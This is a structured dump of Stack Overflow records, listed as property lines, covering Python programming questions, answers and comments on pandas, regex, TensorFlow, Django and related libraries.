has body: I am trying to transform contents from the url which is written in json to pandas dataframe. I can connect to the url and receive contents from the url without any problems, but I am struggling to turn json text to a readable pandas dataframe. Below is the json I want to transform into pandas dataframe: {'quoteSummary': {'error': None, 'result': [{'calendarEvents': {'dividendDate': {'fmt': '2018-06-14', 'raw': 1528934400}, 'earnings': {'earningsAverage': {'fmt': '0.85', 'raw': 0.85}, 'earningsDate': [{'fmt': '2018-04-26', 'raw': 1524700800}], 'earningsHigh': {'fmt': '0.91', 'raw': 0.91}, 'earningsLow': {'fmt': '0.79', 'raw': 0.79}, 'revenueAverage': {'fmt': '25.77B', 'longFmt': '25,768,200,000', 'raw': 25768200000}, 'revenueHigh': {'fmt': '26.35B', 'longFmt': '26,350,000,000', 'raw': 26350000000}, 'revenueLow': {'fmt': '25.58B', 'longFmt': '25,576,000,000', 'raw': 25576000000}}, 'exDividendDate': {'fmt': '2018-05-16', 'raw': 1526428800}, 'maxAge': 1}, 'defaultKeyStatistics': {'52WeekChange': {'fmt': '36.37%', 'raw': 0.3636918}, 'SandP52WeekChange': {'fmt': '10.44%', 'raw': 0.10435629}, 'annualHoldingsTurnover': {}, 'annualReportExpenseRatio': {}, 'beta': {'fmt': '1.32', 'raw': 1.322002}, 'beta3Year': {}, 'bookValue': {'fmt': '10.17', 'raw': 10.17}, 'category': None, 'earningsQuarterlyGrowth': {}, 'enterpriseToEbitda': {'fmt': '19.43', 'raw': 19.428}, 'enterpriseToRevenue': {'fmt': '6.75', 'raw': 6.754}, 'enterpriseValue': {'fmt': '646.02B', 'longFmt': '646,017,384,448', 'raw': 646017384448}, 'fiveYearAverageReturn': {}, 'floatShares': {'fmt': '7.59B', 'longFmt': '7,592,996,725', 'raw': 7592996725}, 'forwardEps': {'fmt': '3.92', 'raw': 3.92}, 'forwardPE': {'fmt': '23.28', 'raw': 23.283161}, 'fundFamily': None, 'fundInceptionDate': {}, 'heldPercentInsiders': {'fmt': '1.39%', 'raw': 0.013890001}, 'heldPercentInstitutions': {'fmt': '75.38%', 'raw': 0.75375}, 'lastCapGain': {}, 'lastDividendValue': {}, 'lastFiscalYearEnd': {'fmt': '2017-06-30', 'raw': 1498780800}, 'lastS…
tagged with: http://stackoverflow.com/tag/json
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/a/49531350
has comment: http://stackoverflow.com/comment/86069150
has comment: http://stackoverflow.com/comment/86069225
has comment: http://stackoverflow.com/comment/86069614
upvote count: 5
type: Answer
has comment: http://stackoverflow.com/comment/86069193
score: 4
answers question: http://stackoverflow.com/q/49530918
has body: You also can try: ex = pd.DataFrame({"col1": ["banana", "tomato", "apple"], "col2": ["cat", "dog", "kangoo"], "col3": ["tv", "phone", "ps4"]}) ex2 = ex.iloc[0:2] ex2.isin(ex).all().all() It returns True If you try to switch some values such as tv and phone you get a False value ex2 = pd.DataFrame({"col1": ["banana", "tomato"], "col2": ["cat", "dog"], "col3": ["phone", "tv"]}) ex2.isin(ex).all().all() &gt;&gt; False
has comment: http://stackoverflow.com/comment/86069640
downvote count: 1

http://stackoverflow.com/q/49549894
tagged with: python
tagged with: image-segmentation
has body: For image semantic segmentation model in tensorflow, I need to give a variable size input to a FCN or segnet model. So I use a placeholer: self.input= tf.placeholder(tf.float32, shape=(batch_size,None,None,3),name='') In an encoder-decoder model, I need to unpool after maxpooling, code is like: #upsample fuction used in decoder def _upsample_along_axis(volume, axis, stride, mode='COPY'): shape = volume.get_shape().as_list() assert 0 &lt;= axis &lt; len(shape) target_shape = shape[:] target_shape[axis] *= stride padding = tf.zeros(shape, dtype=volume.dtype) if mode == 'ZEROS' else volume parts = [volume] + [padding for _ in range(stride - 1)] volume = tf.concat(parts, min(axis+1, len(shape)-1)) target_shape = np.array(target_shape) target_shape[0] = -1 volume = tf.reshape(volume, target_shape) return volume Now that target_shape[axis] is none, so target_shape[axis] *= stride will raise an error: TypeError: unsupported operand type(s) for *: 'NoneType' and 'int' So the input of encoder-decoder model can be variable?
answer count: 1
has title: In tensorflow encoder-decoder model like FCN, segnet, how to give arbitrary input size?
accepted answer: http://stackoverflow.com/a/49550420
tagged with: tensorflow
type: Question
has answer: http://stackoverflow.com/a/49550420
type: AnsweredQuestion
score: 0

http://stackoverflow.com/comment/85967276
score: 0
type: QuestionComment
has text: @revo Yours seemed to have worked. I shortened it to \d+.+\d+|[^a-zA-Z.] and this seems to work too. Any reason why to include the group as you showed?
comment on: http://stackoverflow.com/q/49482125
type: Comment

http://stackoverflow.com/q/49563449
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/2960772
has title: Pass part of filename as parameter in function
type: UnansweredQuestion
score: -2
has comment: http://stackoverflow.com/comment/86135027
downvote count: 2
tagged with: python
has body: I'm writing a function to import .dta files that will have the name structure but with different prefixes. How do I reference this prefix in a string filepath name? For example, something like def import_stata(code): df=pd.read_stata("code_dataset.dta") return df Where code is the prefix that will change. Right now I'm getting an error saying that code_dataset doesn't exist. Thanks!
upvote count: 0
has answer: http://stackoverflow.com/a/49563473
answer count: 1
duplicate of: http://stackoverflow.com/q/2960772

http://stackoverflow.com/comment/85994356
score: 1
type: Comment
has text: Right. I didn't say it would never work. I gave an example of when it won't work, an example that @user4815162342 also mentioned in their answer.
comment on: http://stackoverflow.com/q/49494299
type: QuestionComment

http://stackoverflow.com/q/49520022
type: AnsweredQuestion
downvote count: 2
has body: I need parse links from html, but those of them, which are not followed by 'class="mw-disambig"'. I writed regexp r'&lt;a href="(.+?)"(?! class="mw-disambig")' but it still parses something like this 'https://ru.wikipedia.org/wiki/Тюльпан_(значения)" class=' Orginal html: &lt;a href="here was link" class="mw-disambig" title="Тюльпан"...&gt; It shouldnt be added or I'm not understanding? What I am doing wrong?
has comment: http://stackoverflow.com/comment/86046141
has comment: http://stackoverflow.com/comment/86047676
answer count: 1
has comment: http://stackoverflow.com/comment/86045689
tagged with: parsing
favorite count: 0
accepted answer: http://stackoverflow.com/a/49539506
has comment: http://stackoverflow.com/comment/86045579
type: Question
upvote count: 0
has comment: http://stackoverflow.com/comment/86045828
tagged with: http://stackoverflow.com/tag/html
tagged with: python
score: -2
tagged with: regex
has comment: http://stackoverflow.com/comment/86046275
has title: What's wrong with negative lookahead? Python regex
has answer: http://stackoverflow.com/a/49539506
has comment: http://stackoverflow.com/comment/86045926
linked to: http://stackoverflow.com/q/1732348
has comment: http://stackoverflow.com/comment/86045918

http://stackoverflow.com/comment/86035175
type: Comment
comment on: http://stackoverflow.com/a/49510648
score: 0
type: AnswerComment
has text: it worked! can u please edit the answer so the PATH variable have to be the same as the shell PATH env. thanks!

http://stackoverflow.com/comment/86193983
type: Comment
comment on: http://stackoverflow.com/q/49593015
type: QuestionComment
score: 0
has text: To make sure I understand, is this a good paraphrasing of your request? For each column: for positive and negative z-scores **separately**: bin the absolute value of each z-score into 10 equal-width bins, then output the index (starting from 1) of the bin that each score falls into.

http://stackoverflow.com/q/49483870
has comment: http://stackoverflow.com/comment/85970958
has comment: http://stackoverflow.com/comment/85970567
score: 0
has comment: http://stackoverflow.com/comment/85970483
answer count: 0
tagged with: pandas
has comment: http://stackoverflow.com/comment/85970943
has title: Keeping column alignment when reading merged cells in pandas
type: Question
has comment: http://stackoverflow.com/comment/85970522
has comment: http://stackoverflow.com/comment/85970986
has body: I am trying to read a bunch of tables into a dataframe using pandas. The files have an extension of .xls, but appear to be in HTML format, so I'm using the pandas.read_html() function. The issue I face is that the first column contains merged cells, and pandas is shifting values. The original file: The contents of the pandas dataframe: As you can see, some of the values from the second column have been read into the first column. How can I make sure that the values are read into the correct column when one of the columns has merged cells? Below is the code I'm using to read the files: rawFileDir = 'C:/ftproot/Projects/Korea/Data/AL_Seg/Domestic' rawFiles = os.listdir(rawFileDir) for rawFile in rawFiles: if not os.path.isfile(rawFile): continue xl = pandas.read_html(rawFile)
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/q/49587901
score: -1
linked to: http://stackoverflow.com/q/11520492
type: AnsweredQuestion
tagged with: list
has answer: http://stackoverflow.com/a/49587939
upvote count: 0
possible better answer: http://stackoverflow.com/a/49588060
has answer: http://stackoverflow.com/a/49588060
has body: I have this problem, I have a sample list: list = [6, 4, 5, 3, 10] However, I need to remove the elements by index, and when I try to remove "4", I popped the item in index 4. list.pop(4) print(list) Output: list = [6, 4, 5, 3] Is there a way I can get past this?
downvote count: 1
has answer: http://stackoverflow.com/a/49588230
favorite count: 0
type: Question
tagged with: python-3.x
has title: How to remove an index from a list with numbers?
has answer: http://stackoverflow.com/a/57122761
linked to: http://stackoverflow.com/q/627435
accepted answer: http://stackoverflow.com/a/49588230
tagged with: python
has comment: http://stackoverflow.com/comment/86183783
answer count: 4

http://stackoverflow.com/comment/86190359
comment on: http://stackoverflow.com/q/49591046
has text: It'll probably be easier to just do it with `subprocess.Popen` directly. That package doesn't have a tee modifier that works the way you want, nor really any way to pipe stderr (as far as I can tell).
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49498319
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49500516
possible better answer: http://stackoverflow.com/a/49500516
answer count: 2
has answer: http://stackoverflow.com/a/49500547
accepted answer: http://stackoverflow.com/a/49500547
downvote count: 0
upvote count: 1
tagged with: dataframe
tagged with: python
has title: How to combine multiple rows of data into a single sting per group
type: AnsweredQuestion
tagged with: pandas
score: 1
has body: To preface: I'm new to using Python. I'm working on cleaning up a file where data was spread across multiple rows. I'm struggling to find a solution that will concatenate multiple text strings to a single cell. The .csv data looks similar to this: name,date,description bundy,12-12-2017,good dog ,,smells kind of weird ,,needs to be washed with one or two blank rows between each entry, too. The amount of rows used for 'description' isn't consistent. Sometimes it's just one cell, sometimes up to about four. The ideal output turns these multiple rows into a single row of useful data, without all the wasted space. I thought maybe I could create a series of masks by copying the data across a few columns, shifted up, and then iterating in some way. I haven't found a solution that matches what I'm trying to do, though. This is where I'm at so far: #Add column f description stuff and shift up a row for concatenation DogData['Z'] = DogData['Y'].shift(-1) DogData['AA'] = DogData['Z'].shift(-1) DogData['AB'] = DogData['AA'].shift(-1) #create series checks to determine how to concat values properly YNAs = DogData['Y'].isnull() ZNAs = DogData['Z'].isnull() AANAs = DogData['AA'].isnull() The idea here was basically that I'd iterate over column 'Y', check if the same row in column 'Z' was NA or had a value, and concat if it did. If not, just use the value in 'Y'. Carry that logic across but stopping if it encountered an NA in any subsequent columns. I can't figure out how to do that, or if there's a more efficient way to do this. What do I have to do to get to my end result? I can't figure out the right way to iterate or concatenate in the way I was hoping to.
favorite count: 0
type: Question

http://stackoverflow.com/a/49471244
score: 0
has comment: http://stackoverflow.com/comment/85945073
answers question: http://stackoverflow.com/q/49470915
type: Answer
has body: keys = [] for key in d.keys(): if key == 'properties': for k in d[key].keys(): if k == '**productType**' and k not in keys: keys.append(d[key][k]) print(keys)

http://stackoverflow.com/q/49474091
has comment: http://stackoverflow.com/comment/85950549
score: 1
tagged with: python
answer count: 0
type: UnansweredQuestion
downvote count: 0
tagged with: machine-learning
upvote count: 1
tagged with: scikit-learn
has title: How to make reccomendations for a specific user by using sklearn BernoulliRBM
has body: I am trying to compare some recommendation algorithms for a study purpose. I am using sklearn for knn and I will use it for RBM, but I don't know how to make any recommendation with RBM for a specific user. I am using a dataset getting from MovieLens. Here's the code: import pandas as pd import numpy as np from scipy.sparse.linalg import svds from sklearn.neural_network import BernoulliRBM ratings_list = [i.strip().split("::") for i in open('C:\\Users\\admin\PycharmProjects\MasterProject\ml-1m\\ratings.dat', 'r').readlines()] users_list = [i.strip().split("::") for i in open('C:\\Users\\admin\PycharmProjects\MasterProject\ml-1m\\users.dat', 'r').readlines()] movies_list = [i.strip().split("::") for i in open('C:\\Users\\admin\PycharmProjects\MasterProject\ml-1m\movies.dat', 'r').readlines()] ratings_df = pd.DataFrame(ratings_list, columns = ['UserID', 'MovieID', 'Rating', 'Timestamp'], dtype = int) movies_df =pd.DataFrame(movies_list, columns = ['MovieID', 'Title','Genres']) movies_df['MovieID'] = movies_df['MovieID'].apply(pd.to_numeric) R_df = ratings_df.pivot(index = 'UserID', columns ='MovieID', values = 'Rating').fillna(0) R = R_df.as_matrix() user_ratings_mean = np.mean(R, axis = 1) R_demeaned = R - user_ratings_mean.reshape(-1, 1) modeli = BernoulliRBM() modeli.fit(R_demeaned) recoms = BernoulliRBM(batch_size=100, learning_rate=0.1, n_comp=20, n_iter=1000, random_state=None, verbose=0) print(recoms)
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86124020
tagged with: rbm

http://stackoverflow.com/comment/85891668
score: 0
type: Comment
has text: You can add the lines in the example in your pipeline, then use one or more unique fields of your item for saving in the set and checking if present. Take a look how a Python set works.
comment on: http://stackoverflow.com/a/49444873
type: AnswerComment

http://stackoverflow.com/a/49523051
accepted answer of: http://stackoverflow.com/q/49522502
upvote count: 25
type: AcceptedAnswer
downvote count: 0
has body: After 3+ hours of agony, the solution turned out to be quite simple. Uninstall Kiwisolver: pip3 uninstall kiwisolver Then reinstalling Kiwisolver: pip3 install kiwisolver
type: Answer
answers question: http://stackoverflow.com/q/49522502
score: 25

http://stackoverflow.com/q/49531389
type: UnansweredQuestion
has body: I got a python file: convert.py with the comment line like this: # To use, from the root directory call python src/data/convert.py SRCDIR DESTDIR Could someone tell me how to call from the root directory?
has comment: http://stackoverflow.com/comment/86068886
has comment: http://stackoverflow.com/comment/86069067
type: Question
tagged with: call
score: 0
tagged with: python
answer count: 0
has title: Python call from root directory

http://stackoverflow.com/comment/86137924
comment on: http://stackoverflow.com/a/49555032
score: 2
type: AnswerComment
has text: Thank you. I used another solution but thanks for introducing me to the idea of natural sorting, much appreciated.
type: Comment

http://stackoverflow.com/comment/86077866
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49535499
has text: (I edited the code and get the same results). You're right, the getitem is the actual bottleneck. Could you elaborate on "Instead, you could move the loop inside of a method on the class." ?

http://stackoverflow.com/comment/86080557
comment on: http://stackoverflow.com/a/49506168
has text: ne it still cause the problem, i could run the programm and it worked and spawned the enemies randomly, only thing is not working is the keyboard detection, becouse it tells me its not member of pygame..
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/85986468
has text: it doesn't run at all , like if it's not there , i found another path to do what i want but this issue is strange and i don't know what i did wrong
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49460090

http://stackoverflow.com/q/49538724
has comment: http://stackoverflow.com/comment/86085910
has comment: http://stackoverflow.com/comment/86086060
type: AnsweredQuestion
has title: why is 'ord' seen as an unassigned variable here?
has answer: http://stackoverflow.com/a/49538854
accepted answer: http://stackoverflow.com/a/49538854
has comment: http://stackoverflow.com/comment/86084804
answer count: 2
linked to: http://stackoverflow.com/q/370357
has comment: http://stackoverflow.com/comment/86084940
downvote count: 2
score: 6
has comment: http://stackoverflow.com/comment/86084862
tagged with: variables
has comment: http://stackoverflow.com/comment/86085838
duplicate of: http://stackoverflow.com/q/370357
has comment: http://stackoverflow.com/comment/130104404
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49539060
possible better answer: http://stackoverflow.com/a/49539060
upvote count: 8
has comment: http://stackoverflow.com/comment/86085529
has comment: http://stackoverflow.com/comment/86084778
linked to: http://stackoverflow.com/q/2829528
has comment: http://stackoverflow.com/comment/86085029
has comment: http://stackoverflow.com/comment/86085676
tagged with: python
has body: I hope it's not a duplicate (and at the same time it's difficult to tell, given the amount of questions with such errors, but which are basic mistakes), but I don't understand what happens here. def f(): c = ord('a') f() runs, no error (ord converts character to ASCII code, it's a built-in). Now: if False: ord = None def f(): c = ord('a') f() Also runs, no error (ord isn't overwritten, condition is always false). Now: def f(): if False: ord = None c = ord('a') f() I get (at line where c = ord('a')) UnboundLocalError: local variable 'ord' referenced before assignment It seems that just referencing a left side operand makes it a local variable, even if the code is not run. Obviously I can workaround this, but I was very surprised, given that the dynamic aspect of python allows you to define a variable like being an integer, and at the next line define it as a string. It seems related to What&#39;s the scope of a variable initialized in an if statement? Apparently the interpreter still takes notes of unreached branches when compiling to bytecode, but what happens exactly? (tested on Python 2.7 and Python 3.4)
has comment: http://stackoverflow.com/comment/86085593

http://stackoverflow.com/comment/125257533
has text: I assume 'for production' here would mean speed is imperative. However, for the benefit of others that may find this post and just are concerned with running the code without Jupyter: an option is you can leave in lines like `!mkdir -p /foo/bar` and change the extension to `.ipy` & use `ipython` to run it on the command line. It can though be slow as essentially those lines with exclamation points get sent out to separate shell each time. For pure Python (*faster!*) You do have to take time to convert. The use of `os.system()` and the sh module can often make things easier without subprocess.
type: QuestionComment
comment on: http://stackoverflow.com/q/49536913
score: 0
type: Comment

http://stackoverflow.com/a/49509384
has body: It is similar to the warning shown when we use the confirm attribute on a button. Raising a validation error or returning a warning as dictionary did not show the Cancel button.
type: Answer
score: 0
answers question: http://stackoverflow.com/q/49508693

http://stackoverflow.com/comment/86163539
type: AnswerComment
score: 0
has text: `test = pd.unique(read_cols["X"])` ??? it shouldn't be `test = pd.unique(read_cols["X", col_name])`
type: Comment
comment on: http://stackoverflow.com/a/49577833

http://stackoverflow.com/comment/85969229
type: Comment
type: QuestionComment
has text: You need to put a loop around the code starting with `pytha.mainmenu()`. Also your line `quit` won't do anything useful, if you want to exit the script, call `quit()`, but if you just want to exit that loop, then you should use a different name as [quit is a builtin](https://docs.python.org/3/library/constants.html#quit).
score: 0
comment on: http://stackoverflow.com/q/49482829

http://stackoverflow.com/a/49539073
has comment: http://stackoverflow.com/comment/86093162
score: 12
has comment: http://stackoverflow.com/comment/86092007
has comment: http://stackoverflow.com/comment/86086845
type: Answer
has comment: http://stackoverflow.com/comment/86091811
has comment: http://stackoverflow.com/comment/86086013
has body: OK what is happening here is that set isn't being handled as it's not is_list_like in _aggregate: elif is_list_like(arg) and arg not in compat.string_types: see source this isn't is_list_like so it returns None up the call chain to end up at this line: results.append(colg.aggregate(a)) see source this raises TypeError as TypeError: 'type' object is not iterable which then raises: if not len(results): raise ValueError("no results") see source so because we have no results we end up calling _aggregate_generic: see source this then calls: result[name] = self._try_cast(func(data, *args, **kwargs) see source This then ends up as: (Pdb) n &gt; c:\programdata\anaconda3\lib\site-packages\pandas\core\groupby.py(3779)_aggregate_generic() -&gt; return self._wrap_generic_output(result, obj) (Pdb) result {1: {'user_id', 'instructor', 'class_type'}, 2: {'user_id', 'instructor', 'class_type'}, 3: {'user_id', 'instructor', 'class_type'}, 4: {'user_id', 'instructor', 'class_type'}} I'm running a slightly different version of pandas but the equivalent source line is https://github.com/pandas-dev/pandas/blob/v0.22.0/pandas/core/groupby.py#L3779 So essentially because set doesn't count as a function or an iterable, it just collapses to calling the ctor on the series iterable which in this case are the columns, you can see the same effect here: In [8]: df.groupby('user_id').agg(lambda x: print(set(x.columns))) {'class_type', 'instructor', 'user_id'} {'class_type', 'instructor', 'user_id'} {'class_type', 'instructor', 'user_id'} {'class_type', 'instructor', 'user_id'} Out[8]: class_type instructor user_id 1 None None 2 None None 3 None None 4 None None but when you use the lambda which is an anonymous function this works as expected.
has comment: http://stackoverflow.com/comment/86091418
has comment: http://stackoverflow.com/comment/94571961
has comment: http://stackoverflow.com/comment/86092278
upvote count: 12
accepted answer of: http://stackoverflow.com/q/49537057
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/94578567
answers question: http://stackoverflow.com/q/49537057
has comment: http://stackoverflow.com/comment/86086282

replace
tags question: http://stackoverflow.com/q/49476419
tags question: http://stackoverflow.com/q/49499352
type: Tag
tags question: http://stackoverflow.com/q/49465836
tags question: http://stackoverflow.com/q/49567021
tag name: replace
tags question: http://stackoverflow.com/q/49524045
tags question: http://stackoverflow.com/q/49572546

http://stackoverflow.com/comment/86049299
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49521660
has text: @roganjosh it was created with pandas as well: dataframe.to_pickle(...)

pygobject
type: Tag
tags question: http://stackoverflow.com/q/49456718
tag name: pygobject
tags question: http://stackoverflow.com/q/49464926

http://stackoverflow.com/comment/86116601
type: Comment
type: QuestionComment
has text: Python 3 - just edited title
comment on: http://stackoverflow.com/q/49554641
score: 0

http://stackoverflow.com/a/49479968
has comment: http://stackoverflow.com/comment/85965796
accepted answer of: http://stackoverflow.com/q/49479902
downvote count: 0
has body: You can pivot your dataframe: df.pivot(index='TICKER', columns='date', values='RET') date 20050131 20050231 TICKER AAPL 0.02 0.01 GOOG 0.05 0.03
score: 7
upvote count: 7
answers question: http://stackoverflow.com/q/49479902
has comment: http://stackoverflow.com/comment/85966342
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/85965733

http://stackoverflow.com/q/49490854
has comment: http://stackoverflow.com/comment/85986578
has title: inspectdb command crashes when generate model classes from postgres db
answer count: 0
score: 1
tagged with: django-orm
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85986886
has comment: http://stackoverflow.com/comment/85995936
type: UnansweredQuestion
has body: when executing inspectdb > modelys.py , i'm getting the following error. I searched for solution but i cant find anything. More over i dont know what this error really mean. (gathiApiVirtualEnv) G:\GathiCatalog\dev\gathiApi\gathi_api&gt;python manage.py inspectdb &gt;models.py Traceback (most recent call last): File "manage.py", line 15, in &lt;module&gt; execute_from_command_line(sys.argv) File "G:\GathiCatalog\dev\gathiApi\gathiApiVirtualEnv\lib\site-packages\django\core\management\__init__.py", line 371, in execute_from_command_line utility.execute() File "G:\GathiCatalog\dev\gathiApi\gathiApiVirtualEnv\lib\site-packages\django\core\management\__init__.py", line 365, in execute self.fetch_command(subcommand).run_from_argv(self.argv) File "G:\GathiCatalog\dev\gathiApi\gathiApiVirtualEnv\lib\site-packages\django\core\management\base.py", line 288, in run_from_argv self.execute(*args, **cmd_options) File "G:\GathiCatalog\dev\gathiApi\gathiApiVirtualEnv\lib\site-packages\django\core\management\base.py", line 335, in execute output = self.handle(*args, **options) File "G:\GathiCatalog\dev\gathiApi\gathiApiVirtualEnv\lib\site-packages\django\core\management\commands\inspectdb.py", line 28, in handle for line in self.handle_inspection(options): File "G:\GathiCatalog\dev\gathiApi\gathiApiVirtualEnv\lib\site-packages\django\core\management\commands\inspectdb.py", line 163, in handle_inspection for meta_line in self.get_meta(table_name, constraints, column_to_field_name): File "G:\GathiCatalog\dev\gathiApi\gathiApiVirtualEnv\lib\site-packages\django\core\management\commands\inspectdb.py", line 273, in get_meta tup = '(' + ', '.join("'%s'" % column_to_field_name[c] for c in columns) + ')' File "G:\GathiCatalog\dev\gathiApi\gathiApiVirtualEnv\lib\site-packages\django\core\management\commands\inspectdb.py", line 273, in &lt;genexpr&gt; tup = '(' + ', '.join("'%s'" % column_to_field_name[c] for c in columns) + ')' KeyError: 'prj_id'
tagged with: django
tagged with: django-models
tagged with: python
has comment: http://stackoverflow.com/comment/86013100

http://stackoverflow.com/q/49539048
has body: I am following a tutorial for authenticating via AAD for the Power BI REST API. The tutorial uses C# and ADAL. It acquires a token by, AuthenticationContext authContext = new AuthenticationContext(authorityUri); string token = authContext.AcquireToken(resourceUri, clientID, new Uri(redirectUri)).AccessToken; I would prefer to use Python and so am trying to use the ADAL library for Python. I can get an authentication context via, context = adal.AuthenticationContext(authority_url) but I cannot find the equivalent Python ADAL function for AcquireToken. The nearest option seems to be context.acquire_token but this requires me to supply a user_id arg which the C# version does not (it also does not accept a redirect URI arg). How do I get the same behaviour in Python as in the tutorial's C# code?
downvote count: 0
has answer: http://stackoverflow.com/a/50123353
possible better answer: http://stackoverflow.com/a/50123353
favorite count: 0
has answer: http://stackoverflow.com/a/50162786
type: Question
accepted answer: http://stackoverflow.com/a/50162786
tagged with: c#
upvote count: 2
has title: Python equivalent of C# ADAL AuthenticationContext.AcquireToken
has answer: http://stackoverflow.com/a/50087382
tagged with: adal
tagged with: python
type: AnsweredQuestion
score: 2
answer count: 3

http://stackoverflow.com/comment/85921589
comment on: http://stackoverflow.com/a/49443021
has text: so where does this "sanity" come from?
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/86050988
comment on: http://stackoverflow.com/a/49481671
type: Comment
type: AnswerComment
has text: You are right, if I run a server with your code it works for me as well; if I run my complete code it doesn't. I am extending your example piece after piece to reach mine and see where it starts giving the problem, I didn't get there yet, but eventually I will :)
score: 1

http://stackoverflow.com/a/49558129
upvote count: 1
has body: You can using pandas mask data1.C=data1.C.mask(data1.A==data1.B,-1) data1 Out[371]: A B C 0 1 10 100 1 2 2 -1 2 3 3 -1 3 4 40 400
answers question: http://stackoverflow.com/q/49557895
score: 1
type: Answer
downvote count: 0

http://stackoverflow.com/comment/86082992
comment on: http://stackoverflow.com/q/49524556
score: 1
type: Comment
type: QuestionComment
has text: from `django 2.0`, it is better to use `re_path()` instead of `url()`

http://stackoverflow.com/q/49522439
type: Question
has title: Before and after state transitions
has body: I have a df uid timestamp event 34900 2015-01-01 00:00:10 5 90100 2015-01-07 00:00:00 4 90100 2015-03-02 00:00:00 9 34900 2015-01-03 00:00:00 5 34900 2015-01-01 00:40:00 6 34900 2015-01-01 00:00:01 2 90100 2015-03-01 00:07:00 5 34900 2015-01-04 00:00:09 8 34900 2015-01-07 00:00:10 2 90100 2015-01-01 20:00:00 1 It has events (1-9) occurring on some unique ids (34900,90100,..) timestamped as datetime. I am trying to find what happens before and after an event (event=5) occurs on each unique id. My thinking is to subset the df into each unique and retain the adjacent event for each 5 event that happens. So I will like to know how to retrieve the following dataframes below from the df above uid=34900 timestamp before after 2015-01-01 00:00:10 2 6 2015-01-03 00:00:00 6 8 uid=90100 timestamp before after 2015-03-01 00:07:00 4 9
linked to: http://stackoverflow.com/q/23664877
tagged with: group-by
tagged with: datetime
tagged with: python
linked to: http://stackoverflow.com/q/49500367
accepted answer: http://stackoverflow.com/a/49568648
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49568648
score: 0
answer count: 2
tagged with: pandas
possible better answer: http://stackoverflow.com/a/49522512
has answer: http://stackoverflow.com/a/49522512

boto3
tags question: http://stackoverflow.com/q/49513475
tags question: http://stackoverflow.com/q/49450784
tags question: http://stackoverflow.com/q/49511038
tag name: boto3
tags question: http://stackoverflow.com/q/49524331
tags question: http://stackoverflow.com/q/49444424
tags question: http://stackoverflow.com/q/49544670
tags question: http://stackoverflow.com/q/49443020
tags question: http://stackoverflow.com/q/49552908
tags question: http://stackoverflow.com/q/49458228
tags question: http://stackoverflow.com/q/49486127
tags question: http://stackoverflow.com/q/49563445
type: Tag
tags question: http://stackoverflow.com/q/49452026
tags question: http://stackoverflow.com/q/49534847
tags question: http://stackoverflow.com/q/49512095
tags question: http://stackoverflow.com/q/49552507

http://stackoverflow.com/comment/86042037
has text: Does `default_dict['label_1'].insert(3, 6.5)` do what you want? It's unclear if you're trying to insert the value at a specific index or between two specific values (like 8.6 and 5.8).
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/49518251

http://stackoverflow.com/a/49686951
upvote count: 1
has comment: http://stackoverflow.com/comment/86394941
answers question: http://stackoverflow.com/q/49491048
type: Answer
has comment: http://stackoverflow.com/comment/86391213
has body: Did you try driver.switchTo().alert(); or driver.switchTo().activeElement(); before typing credentials? However, if this works I can't explain why it worked before.
has comment: http://stackoverflow.com/comment/86393842
has comment: http://stackoverflow.com/comment/86395160
has comment: http://stackoverflow.com/comment/86394080
score: 1
downvote count: 0

http://stackoverflow.com/comment/86108178
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49549864
score: 0
has text: I'm sorry but I don't understand "host your HTML page". It'd be great if you could explain. Can't it be simple as opening a page and clicking a button?

state
tag name: state
type: Tag
tags question: http://stackoverflow.com/q/49521805

http://stackoverflow.com/q/49575111
tagged with: dataframe
has comment: http://stackoverflow.com/comment/86157758
tagged with: python
has comment: http://stackoverflow.com/comment/86159518
type: Question
tagged with: numpy
type: UnansweredQuestion
downvote count: 0
answer count: 1
upvote count: 1
has body: I have an empty pandas dataframe with pre-generated index columns based on datetimeIndex. I also have 2 other columns high and low. I add a third column and fourth whose value depends on the first two columns i.e high and low The code snippet is given below header = ['high', 'low'] idx = pd.date_range("09:00", "18:00", freq="60min") df = pd.DataFrame([],index=idx,columns=header) df['mv'] = df['high'].ewm(span=3, min_periods=3, adjust=False, ignore_na=False).mean() df['sum'] = (df['high'] + df['low']) df.index.name='date' df.loc[('2018-03-30 09:00:00','high')] = 106 df.loc[('2018-03-30 09:00:00','low')] = 100 Now If I update the value of the first and second column the values in the third and fourth column continue to be NaN and are not updated. How to ensure this is done automatically whenever the values in the high and low column changes? def calculate_sum(row): print row['high'], row['low'] return row['high'] + row['low'] df['sum'] = df.apply(calculate_sum, axis=1) As suggested, I changed the df['sum'] row to be handled by a function (code above) I find that the function is called initially when i assign df['sum'] Any subsequent updates to df['high'] or df['low'] for any rows does not trigger the callback to the function.
has answer: http://stackoverflow.com/a/49575770
favorite count: 0
tagged with: pandas
score: 1
has title: Pandas calculated columns not updated for new dynamically added rows

http://stackoverflow.com/a/49582077
upvote count: 1
score: 1
type: Answer
has body: The values of new_dict are lists. When you append a list to another list, you get nested lists. You want to extend the list by another list: &gt;&gt;&gt; def inverse_dict(my_dict): ... new_dict = {} ... new_key = '' ... for new_value in my_dict: ... new_list = [new_value] ... new_key = my_dict[new_value] ... if new_key in new_dict: ... new_list.extend(new_dict[new_key]) ... new_list = sorted(new_list) ... new_dict[new_key] = new_list ... return new_dict ... &gt;&gt;&gt; print(inverse_dict({'cc': 'dd', 'ab': 'cd', 'bb': 'cd'})) {'dd': ['cc'], 'cd': ['ab', 'bb']} &gt;&gt;&gt; print(inverse_dict({'b': 'd', 'c': 'd', 'a': 'd'})) {'d': ['a', 'b', 'c']}
answers question: http://stackoverflow.com/q/49582023
downvote count: 0
